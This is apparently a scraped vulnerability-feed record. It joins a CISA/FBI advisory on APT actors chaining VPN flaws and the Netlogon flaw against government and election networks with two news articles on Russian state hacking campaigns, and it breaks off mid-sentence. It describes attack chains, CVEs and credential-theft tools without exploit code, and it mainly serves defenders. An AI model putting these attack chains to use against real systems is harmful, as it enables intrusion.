Details\n\n### Initial Access\n\nAPT threat actors are actively leveraging legacy vulnerabilities in internet-facing infrastructure (_Exploit Public-Facing Application_ [[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190/>)], _External Remote Services_ [[T1133](<https://attack.mitre.org/versions/v7/techniques/T1133/>)]) to gain initial access into systems. The APT actors appear to have predominately gained initial access via the Fortinet FortiOS VPN vulnerability [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>).\n\nAlthough not observed in this campaign, other vulnerabilities, listed below, could be used to gain network access (as analysis is evolving, these listed vulnerabilities should not be considered comprehensive). As a best practice, it is critical to patch all known vulnerabilities within internet-facing infrastructure.\n\n * Citrix NetScaler [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n * MobileIron [CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>)\n * Pulse Secure [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n * Palo Alto Networks [CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>)\n * F5 BIG-IP [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)\n\n#### Fortinet FortiOS SSL VPN CVE-2018-13379\n\n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) is a path traversal vulnerability in the FortiOS SSL VPN web portal. An unauthenticated attacker could exploit this vulnerability to download FortiOS system files through specially crafted HTTP resource requests.[[1](<https://www.fortiguard.com/psirt/FG-IR-18-384>)]\n\n### MobileIron Core &amp; Connector Vulnerability CVE-2020-15505\n\n[CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) is a remote code execution vulnerability in MobileIron Core &amp; Connector versions 10.3 and earlier.[[2](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>)] This vulnerability allows an external attacker, with no privileges, to execute code of their choice on the vulnerable system. As mobile device management (MDM) systems are critical to configuration management for external devices, they are usually highly permissioned and make a valuable target for threat actors.\n\n### Privilege Escalation\n\nPost initial access, the APT actors use multiple techniques to expand access to the environment. The actors are leveraging [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) in Windows Netlogon to escalate privileges and obtain access to Windows AD servers. Actors are also leveraging the opensource tools such as Mimikatz and the CrackMapExec tool to obtain valid account credentials from AD servers (_Valid Accounts_ [[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078/>)]).\n\n#### Microsoft Netlogon Remote Protocol Vulnerability: CVE-2020-1472\n\n[CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) is a vulnerability in Microsoft Windows Netlogon Remote Protocol (MS-NRPC), a core authentication component of Active Directory.[[3](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>)] This vulnerability could allow an unauthenticated attacker with network access to a domain controller to completely compromise all AD identity services (_Valid Accounts: Domain Accounts_ [[T1078.002](<https://attack.mitre.org/versions/v7/techniques/T1078/002/>)]). Malicious actors can leverage this vulnerability to compromise other devices on the network (_Lateral Movement_ [[TA0008](<https://attack.mitre.org/versions/v7/tactics/TA0008/>)]).\n\n### Persistence\n\nOnce system access has been achieved, the APT actors use abuse of legitimate credentials (_Valid Accounts _[[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078/>)]) to log in via VPN or remote access services _(External Remote Services_ [[T1133](<https://attack.mitre.org/versions/v7/techniques/T1133/>)]) to maintain persistence.\n\n### Mitigations\n\nOrganizations with externally facing infrastructure devices that have the vulnerabilities listed in this joint cybersecurity advisory, or other vulnerabilities, should move forward with an \u201cassume breach\u201d mentality. As initial exploitation and escalation may be the only observable exploitation activity, most mitigations will need to focus on more traditional network hygiene and user management activities.\n\n### Keep Systems Up to Date\n\nPatch systems and equipment promptly and diligently. Establishing and consistently maintaining a thorough patching cycle continues to be the best defense against adversary TTPs. See table 1 for patch information on CVEs mentioned in this report.\n\n_Table 1: Patch information for CVEs_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) | \n\n * FortiOS 6.0: 6.0.0 to 6.0.4\n * FortiOS 5.6: 5.6.3 to 5.6.7\n * FortiOS 5.4: 5.4.6 to 5.4.12\n| \n\n * [Fortinet Security Advisory: FG-IR-18-384](<https://www.fortiguard.com/psirt/FG-IR-18-384>) \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) | \n\n * Citrix Application Delivery Controller\n * Citrix Gateway\n * Citrix SDWAN WANOP\n| \n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0 ](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n * [Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) | \n\n * Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT)\n| \n\n * [F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) | \n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15\n * Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n| \n\n * [Pulse Secure Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n[CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) | \n\n * MobileIron Core &amp; Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0 and 10.6.0.0 \n * Sentry versions 9.7.2 and earlier, and 9.8.0; \n * Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier\n| \n\n * [MobileIron Blog: MobileIron Security Updates Available](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>) \n[CVE-2020-1631](<https://nvd.nist.gov/vuln/detail/CVE-2020-1631>) | \n\n * Junos OS 12.3, 12.3X48, 14.1X53, 15.1, 15.1X49, 15.1X53, 17.2, 17.3, 17.4, 18.1, 18.2, 18.3, 18.4, 19.1, 19.2, 19.3, 19.4, 20.1\n| \n\n * [Juniper Security Advisory JSA11021](<https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11021>) \n[CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>) | \n\n * PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL)\n| \n\n * [Palo Alto Networks Security Advisory for CVE-2020-2021](<https://security.paloaltonetworks.com/CVE-2020-2021>) \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2016\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) \n \n### Comprehensive Account Resets\n\nIf there is an observation of [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) Netlogon activity or other indications of valid credential abuse detected, it should be assumed the APT actors have compromised AD administrative accounts, the AD forest should not be fully trusted, and, therefore, a new forest should be deployed. Existing hosts from the old compromised forest cannot be migrated in without being rebuilt and rejoined to the new domain, but migration may be done through \u201ccreative destruction,\u201d wherein as endpoints in the legacy forest are decommissioned, new ones can be built in the new forest. This will need to be completed on on-premise as well as Azure-hosted AD instances.\n\nNote that fully resetting an AD forest is difficult and complex; it is best done with the assistance of personnel who have successfully completed the task previously.\n\nIt is critical to perform a full password reset on all user and computer accounts in the AD forest. Use the following steps as a guide.\n\n 1. Create a temporary administrator account, and use this account only for all administrative actions\n 2. Reset the Kerberos Ticket Granting Ticket (`krbtgt`) password [[4](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)]; this must be completed before any additional actions (a second reset will take place in step 5)\n 3. Wait for the krbtgt reset to propagate to all domain controllers (time may vary)\n 4. Reset all account passwords (passwords should be 15 characters or more and randomly assigned): \n\n 1. User accounts (forced reset with no legacy password reuse)\n 2. Local accounts on hosts (including local accounts not covered by Local Administrator Password Solution [LAPS])\n 3. Service accounts\n 4. Directory Services Restore Mode (DSRM) account\n 5. Domain Controller machine account\n 6. Application passwords\n 5. Reset the `krbtgt` password again\n 6. Wait for the `krbtgt` reset to propagate to all domain controllers (time may vary)\n 7. Reboot domain controllers\n 8. Reboot all endpoints\n\nThe following accounts should be reset:\n\n * AD Kerberos Authentication Master (2x)\n * All Active Directory Accounts\n * All Active Directory Admin Accounts\n * All Active Directory Service Accounts\n * All Active Directory User Accounts\n * DSRM Account on Domain Controllers\n * Non-AD Privileged Application Accounts\n * Non-AD Unprivileged Application Accounts\n * Non-Windows Privileged Accounts\n * Non-Windows User Accounts\n * Windows Computer Accounts\n * Windows Local Admin\n\n### CVE-2020-1472\n\nTo secure your organization\u2019s Netlogon channel connections:\n\n * **Update all Domain Controllers and Read Only Domain Controllers**. On August 11, 2020, Microsoft released [software updates](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) to mitigate CVE-2020-1472. Applying this update to domain controllers is currently the only mitigation to this vulnerability (aside from removing affected domain controllers from the network).\n * **Monitor for new events, and address non-compliant devices** that are using vulnerable Netlogon secure channel connections.\n * **Block public access to potentially vulnerable ports**, such as 445 (Server Message Block [SMB]) and 135 (Remote Procedure Call [RPC]).\n\nTo protect your organization against this CVE, follow [advice from Microsoft](<https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc>), including:\n\n * Update your domain controllers with an update released August 11, 2020, or later.\n * Find which devices are making vulnerable connections by monitoring event logs.\n * Address non-compliant devices making vulnerable connections.\n * Enable enforcement mode to address [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) in your environment.\n\n### VPN Vulnerabilities\n\nImplement the following recommendations to secure your organization\u2019s VPNs:\n\n * **Update VPNs, network infrastructure devices, and devices **being used to remote into work environments with the latest software patches and security configurations. See CISA Tips [Understanding Patches and Software Updates](<https://us-cert.cisa.gov/ncas/tips/ST04-006>) and [Securing Network Infrastructure Devices](<https://us-cert.cisa.gov/ncas/tips/ST18-001>). Wherever possible, enable automatic updates. See table 1 for patch information on VPN-related CVEs mentioned in this report.\n * **Implement multi-factor authentication (MFA) on all VPN connections to increase security**. Physical security tokens are the most secure form of MFA, followed by authenticator app-based MFA. SMS and email-based MFA should only be used when no other forms are available. If MFA is not implemented, require teleworkers to use strong passwords. See CISA Tips [Choosing and Protecting Passwords](<https://us-cert.cisa.gov/ncas/tips/ST04-002>) and [Supplementing Passwords](<https://us-cert.cisa.gov/ncas/tips/ST05-012>) for more information.\n\nDiscontinue unused VPN servers. Reduce your organization\u2019s attack surface by discontinuing unused VPN servers, which may act as a point of entry for attackers. To protect your organization against VPN vulnerabilities:\n\n * **Audit **configuration and patch management programs.\n * **Monitor** network traffic for unexpected and unapproved protocols, especially outbound to the internet (e.g., Secure Shell [SSH], SMB, RDP).\n * **Implement **MFA, especially for privileged accounts.\n * **Use **separate administrative accounts on separate administration workstations.\n * **Keep **[software up to date](<https://us-cert.cisa.gov/ncas/tips/ST04-006>). Enable automatic updates, if available. \n\n### How to uncover and mitigate malicious activity\n\n * **Collect and remove** for further analysis: \n * Relevant artifacts, logs, and data.\n * **Implement **mitigation steps that avoid tipping off the adversary that their presence in the network has been discovered.\n * **Consider **soliciting incident response support from a third-party IT security organization to: \n * Provide subject matter expertise and technical support to the incident response.\n * Ensure that the actor is eradicated from the network.\n * Avoid residual issues that could result in follow-up compromises once the incident is closed.\n\n### Resources\n\n * [CISA VPN-Related Guidance](<https://www.cisa.gov/vpn-related-guidance>)\n * CISA Infographic: [Risk Vulnerability And Assessment (RVA) Mapped to the MITRE ATT&amp;CK FRAMEWORK](<https://www.cisa.gov/sites/default/files/publications/Risk and Vulnerability Assessment %28RVA%29 Mapped to the MITRE ATT%26amp%3BCK Framework Infographic_v6-100620_ 508.pdf>)\n * National Security Agency InfoSheet: [Configuring IPsec Virtual Private Networks](<https://media.defense.gov/2020/Jul/02/2002355501/-1/-1/0/CONFIGURING_IPSEC_VIRTUAL_PRIVATE_NETWORKS_2020_07_01_FINAL_RELEASE.PDF>)\n * CISA Joint Advisory: [AA20-245A: Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>)\n * CISA Activity Alert: [AA20-073A: Enterprise VPN Security](<https://us-cert.cisa.gov/ncas/alerts/aa20-073a>)\n * CISA Activity Alert: [AA20-031A: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>)\n * CISA Activity Alert: [AA20-010A: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)\n * **Cybersecurity Alerts and Advisories**: Subscriptions to [CISA Alerts](<https://public.govdelivery.com/accounts/USDHSUSCERT/subscriber/new>) and [MS-ISAC Advisories](<https://learn.cisecurity.org/ms-isac-subscription>)\n\n### Contact Information\n\nRecipients of this report are encouraged to contribute any additional information that they may have related to this threat.\n\nFor any questions related to this report or to report an intrusion and request resources for incident response or technical assistance, please contact:\n\n * CISA (888-282-0870 or [Central@cisa.dhs.gov](<mailto:Central@cisa.dhs.gov>)), or\n * The FBI through the FBI Cyber Division (855-292-3937 or [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>)) or a [local field office](<https://www.fbi.gov/contact-us/field-offices/field-offices>)\n\n**_DISCLAIMER_**\n\n_This information is provided \"as is\" for informational purposes only. The United States Government does not provide any warranties of any kind regarding this information. In no event shall the United States Government or its contractors or subcontractors be liable for any damages, including but not limited to, direct, indirect, special or consequential damages, arising out of, resulting from, or in any way connected with this information, whether or not based upon warranty, contract, tort, or otherwise, whether or not arising out of negligence, and whether or not injury was sustained from, or arose out of the results of, or reliance upon the information._\n\n_The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government._\n\n### References\n\n[[1] Fortinet Advisory: FG-IR-18-384 ](<https://www.fortiguard.com/psirt/FG-IR-18-384>)\n\n[[2] MobileIron Blog: MobileIron Security Updates Available](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>)\n\n[[3] Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>)\n\n[[4] Microsoft: AD Forest Recovery - Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)\n\n### Revisions\n\nOctober 9, 2020: Initial Version|October 11, 2020: Updated Summary|October 12, 2020: Added Additional Links\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-24T12:00:00", "type": "ics", "title": "APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-1631", "CVE-2020-2021", "CVE-2020-5902"], "modified": "2020-10-24T12:00:00", "id": "AA20-283A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:37:33", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEgfHxH3Dt4VXRfmdH7Z5AIzdTH11h4caDd4ap4XoxMEluunQIHIKcMfsOmGXHYfBm80iV7yauBv6comuqDI53yYZ-scRdempbDZFRKoVre0dwv8XB-HY7OuqI3zugrjX_AU4O94F-ikvT5ttBGEc9cGB3wRTB1Tkpo2jFZZ5dobK0ftUAK2GlxVr_sa>)\n\nState-sponsored actors backed by the Russian government regularly targeted the networks of several U.S. cleared defense contractors (CDCs) to acquire proprietary documents and other confidential information pertaining to the country's defense and intelligence programs and capabilities.\n\nThe sustained espionage campaign is said to have commenced at least two years ago from January 2020, according to a [joint advisory](<https://www.cisa.gov/news/2022/02/16/new-cybersecurity-advisory-protecting-cleared-defense-contractor-networks-against>) published by the U.S. Federal Bureau of Investigation (FBI), National Security Agency (NSA), and Cybersecurity and Infrastructure Security Agency (CISA).\n\n\"These continued intrusions have enabled the actors to acquire sensitive, unclassified information, as well as CDC-proprietary and export-controlled technology,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>). \"The acquired information provides significant insight into U.S. weapons platforms development and deployment timelines, vehicle specifications, and plans for communications infrastructure and information technology.\"\n\nCompromised entities include contractors that dabble in command, control, communications, and combat systems; surveillance and reconnaissance; weapons and missile development; vehicle and aircraft design; and software development, data analytics, and logistics.\n\nThe threat actors rely on \"common but effective\" tactics to breach target networks such as spear-phishing, credential harvesting, brute-force attacks, password spray techniques, and exploitation of known vulnerabilities in VPN devices, before moving laterally to establish persistence and exfiltrate data.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEj72CV_TZddW8ZEFbbWJoksQeXFXLFFSgoy22sgxewm7OT-W5YDgBIqLdOhdUK4p3Z5AV32z7EtFYvCInbCCdVzX37Wzqx1TL_G6NeQuEKUOLVC6371dcORdcP2owx3pnjKJyUaGJCQ56o-mLZcUzXswT3hUvEKbXxZBzEmEt8nYAClgNN9xU4V4anK>)\n\nSome of the [vulnerabilities](<https://thehackernews.com/2021/11/us-uk-and-australia-warn-of-iranian.html>) leveraged by the attackers for initial access and privilege escalation are as follows \u2013\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) \u2013 FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) \u2013 Microsoft Exchange validation key remote code execution vulnerability\n * [**CVE-2020-17144**](<https://nvd.nist.gov/vuln/detail/CVE-2020-17144>) (CVSS score: 8.4) \u2013 Microsoft Exchange remote code execution vulnerability\n\nMany of the intrusions also involve gaining a foothold to enterprise and cloud networks, with the adversaries maintaining persistent access to the compromised Microsoft 365 environments for as long as six months to repeatedly harvest emails and data.\n\n\"As CDCs find and patch known vulnerabilities on their networks, the actors alter their tradecraft to seek new means of access,\" the agencies explained. \"This activity necessitates CDCs maintain constant vigilance for software vulnerabilities and out-of-date security configurations, especially in internet-facing systems.\"\n\nAmong other malicious activities observed is the routine use of virtual private servers (VPSs) as an encrypted proxy and the use of legitimate credentials to exfiltrate emails from the victim's enterprise email system. The advisory, however, does not single out any Russian state actor by name.\n\n\"Over the last several years, Russian state-sponsored cyber actors have been persistent in targeting U.S. cleared defense contractors to get at sensitive information,\" [said](<https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/2935170/nsa-fbi-cisa-release-advisory-on-protecting-cleared-defense-contractor-networks/>) Rob Joyce, director of NSA Cybersecurity. \"Armed with insights like these, we can better detect and defend important assets together.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-17T05:42:00", "type": "thn", "title": "U.S. Says Russian Hackers Stealing Sensitive Data from Defense Contractors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2020-0688", "CVE-2020-17144"], "modified": "2022-02-17T13:01:50", "id": "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "href": "https://thehackernews.com/2022/02/us-says-russian-hackers-stealing.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:23", "description": "[](<https://thehackernews.com/images/--04MOd8YdVg/YN6wbhVl-jI/AAAAAAAADD0/1Sag5ybubFo60Vyq--khtAQnmmKIjcy5ACLcBGAsYHQ/s0/russian-hacking.jpg>)\n\nAn ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S.\n\nThe National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and the U.K.'s National Cyber Security Centre (NCSC) formally attributed the incursions to the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).\n\nThe [threat actor](<https://malpedia.caad.fkie.fraunhofer.de/actor/sofacy>) is also tracked under various monikers, including [APT28](<https://www.fireeye.com/current-threats/apt-groups/rpt-apt28.html>) (FireEye Mandiant), [Fancy Bear](<https://www.crowdstrike.com/blog/who-is-fancy-bear/>) (CrowdStrike), [Sofacy](<https://www.kaspersky.com/about/press-releases/2018_sofacy>) (Kaspersky), [STRONTIUM](<https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/>) (Microsoft), and [Iron Twilight](<https://www.secureworks.com/research/threat-profiles/iron-twilight>) (Secureworks).\n\nAPT28 has a track record of leveraging password spray and brute-force login attempts to plunder valid credentials that enable future surveillance or intrusion operations. In November 2020, Microsoft [disclosed](<https://blogs.microsoft.com/on-the-issues/2020/11/13/health-care-cyberattacks-covid-19-paris-peace-forum/>) credential harvesting activities staged by the adversary aimed at companies involved in researching vaccines and treatments for COVID-19.\n\nWhat's different this time around is the actor's reliance on software containers to scale its brute-force attacks.\n\n\"The campaign uses a Kubernetes cluster in brute force access attempts against the enterprise and cloud environments of government and private sector targets worldwide,\" CISA [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/01/nsa-cisa-ncsc-fbi-joint-cybersecurity-advisory-russian-gru-brute>). \"After obtaining credentials via brute force, the GTsSS uses a variety of known vulnerabilities for further network access via remote code execution and lateral movement.\"\n\nSome of the other security flaws exploited by APT28 to pivot inside the breached organizations and gain access to internal email servers include -\n\n * [**CVE-2020-0688**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0688>) \\- Microsoft Exchange Validation Key Remote Code Execution Vulnerability\n * [**CVE-2020-17144**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144>) \\- Microsoft Exchange Remote Code Execution Vulnerability\n\nThe threat actor is also said to have utilized different evasion techniques in an attempt to disguise some components of their operations, including routing brute-force authentication attempts through Tor and commercial VPN services, such as CactusVPN, IPVanish, NordVPN, ProtonVPN, Surfshark, and WorldVPN.\n\nThe agencies said the attacks primarily focused on the U.S. and Europe, targeting government and military, defense contractors, energy companies, higher education, logistics companies, law firms, media companies, political consultants or political parties, and think tanks.\n\n\"Network managers should adopt and expand usage of multi-factor authentication to help counter the effectiveness of this capability,\" the advisory [noted](<https://www.nsa.gov/news-features/press-room/Article/2677750/nsa-partners-release-cybersecurity-advisory-on-brute-force-global-cyber-campaign/>). \"Additional mitigations to ensure strong access controls include time-out and lock-out features, the mandatory use of strong passwords, implementation of a Zero Trust security model that uses additional attributes when determining access, and analytics to detect anomalous accesses.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-02T06:23:00", "type": "thn", "title": "NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "modified": "2021-07-03T14:44:51", "id": "THN:8D0E2C792A85A3FB8EC6A823D487FAE6", "href": "https://thehackernews.com/2021/07/nsa-fbi-reveal-hacking-methods-used-by.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T03:29:54", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjhNJNYKsz0zRz-CzaUqAm2MRgt6hyl7sq05Q-XnbDm2VwMedx339MqSyZOAKaZNIywGOU7b4usV_c7PkobISvqG4n1OWRAK6MowARD4h2L_HH0soDHDxo-HLg5bT1n0PRyLyda5DamIal3W2BOTcPpLYlDUc8cUHZ5tqR_YBCcyTEpn2SBhSPC2m-r/s728-e100/flaws.gif>)\n\n[Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>), [ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>), [ProxyLogon](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>), [ZeroLogon](<https://thehackernews.com/2020/09/detecting-and-preventing-critical.html>), and flaws in [Zoho ManageEngine AD SelfService Plus](<https://thehackernews.com/2021/09/cisa-warns-of-actively-exploited-zoho.html>), [Atlassian Confluence](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>), and [VMware vSphere Client](<https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html>) emerged as some of the top exploited security vulnerabilities in 